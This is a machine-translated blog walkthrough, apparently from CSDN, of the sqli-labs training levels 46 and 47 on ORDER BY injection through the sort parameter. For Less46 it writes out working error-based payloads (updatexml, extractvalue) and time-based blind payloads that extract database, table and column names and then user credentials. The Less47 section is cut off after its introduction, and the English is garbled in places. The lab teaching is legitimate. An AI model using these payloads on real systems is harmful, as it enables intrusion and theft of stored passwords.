当前位置：网站首页>(manual) [sqli labs46, 47] order by injection, error echo, post injection, number / character type

(manual) [sqli labs46, 47] order by injection, error echo, post injection, number / character type

2022-07-18 17:58:00 【Black zone (rise)】

Catalog

One 、 recommend ：

Two 、（ manual ）SQL Basic steps of injection ：

3、 ... and 、Less46（POST - Error based - Numeric - ORDER BY CLAUSE）

3.1、 brief introduction ：（order by Inject - Error echo -POST Inject ）

3.1、 First step ： Injection point test

3.3、 The second step ： Analysis and filtering

3.4、 The third step ： Determine the number of fields / Echo position

3.5、 Step four ： Warehouse

3.6、 Step five ： Name of Pop Watch

3.7、 Step six ： Pop field

3.9、 Step eight ： Burst data

Four 、Less47（POST - Error based - String - ORDER BY CLAUSE）

4.1、 brief introduction ：（order by Inject - Error echo -POST Inject ）

4.2、 utilize ：

One 、 recommend ：
【SQL Inject 】order by Inject ： Combined blind injection 、 Report errors 、 Stack Injection https://blog.csdn.net/qq_53079406/article/details/125815205?spm=1001.2014.3001.5501
【SQL Inject 】 Stack Injection https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501 【SQL Inject 】 Digital injection & Character injection https://blog.csdn.net/qq_53079406/article/details/125741101?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786402616781435435338%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786402616781435435338&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125741101-null-null.185%5Ev2%5Econtrol&utm_term=%E6%95%B0%E5%AD%97%E5%9E%8B&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/125741101?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786402616781435435338%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786402616781435435338&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125741101-null-null.185%5Ev2%5Econtrol&utm_term=%E6%95%B0%E5%AD%97%E5%9E%8B&spm=1018.2226.3001.4450
【SQL Inject - No echo 】 Bull's blind note ： principle 、 function 、 Use process https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786796416782248562911%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786796416782248562911&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-5-125275974-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786796416782248562911%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786796416782248562911&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-5-125275974-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450 【SQL Inject - No echo 】 Time blind note ： principle 、 function 、 Use process https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786796416782248562911%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786796416782248562911&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-125096394-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786796416782248562911%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786796416782248562911&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-125096394-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

Two 、（ manual ）SQL Basic steps of injection ：

First step ： Injection point test
The second step ： Analyze permissions
The third step ： Determine the number of fields
Step four ： Burst database name
Step five ： Name of Pop Watch
Step six ： Pop field name
Step seven ： Burst data

3、 ... and 、Less46（POST - Error based - Numeric - ORDER BY CLAUSE）

3.1、 brief introduction ：（order by Inject - Error echo -POST Inject ）
Request method ：POST
Method ：order by Inject + Error echo + Digital injection

3.1、 First step ： Injection point test
Follow the prompts to enter sort
Input '
Report errors , Indicates that there is an injection point
?sort=rand(true)
?sort=rand(false)
There are injection points
And you can use error injection

3.3、 The second step ： Analysis and filtering
Method 1 ：
Consider replacing the injected statement characters one by one step , Until there is no error （ A waste of time ）
Or replace them all （ If you make a mistake , I don't know where it is filtered ）
Method 2 ：
Get the source code for white box audit （ The optimal ）

3.4、 The third step ： Determine the number of fields / Echo position
?sort=3
Echo normal
?sort=4
Report errors
Description yes 3 A field

3.5、 Step four ： Warehouse
?sort=(extractvalue(1,concat(0x7e,(select database()),0x7e)))#

perhaps
?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
perhaps （ Time blind note ）
?sort=1 and if(substr(database(),1,1)='s',sleep(5),0)

3.6、 Step five ： Name of Pop Watch
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)

perhaps （ Time blind note ）
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)

3.7、 Step six ： Pop field
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)

perhaps （ Time blind note ）
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)

3.9、 Step eight ： Burst data
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)
perhaps （ Time blind note ）
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)

Four 、Less47（POST - Error based - String - ORDER BY CLAUSE）

4.1、 brief introduction ：（order by Inject - Error echo -POST Inject ）
Request method ：POST
Method ：order by Inject + Error echo +' closed （ Character ）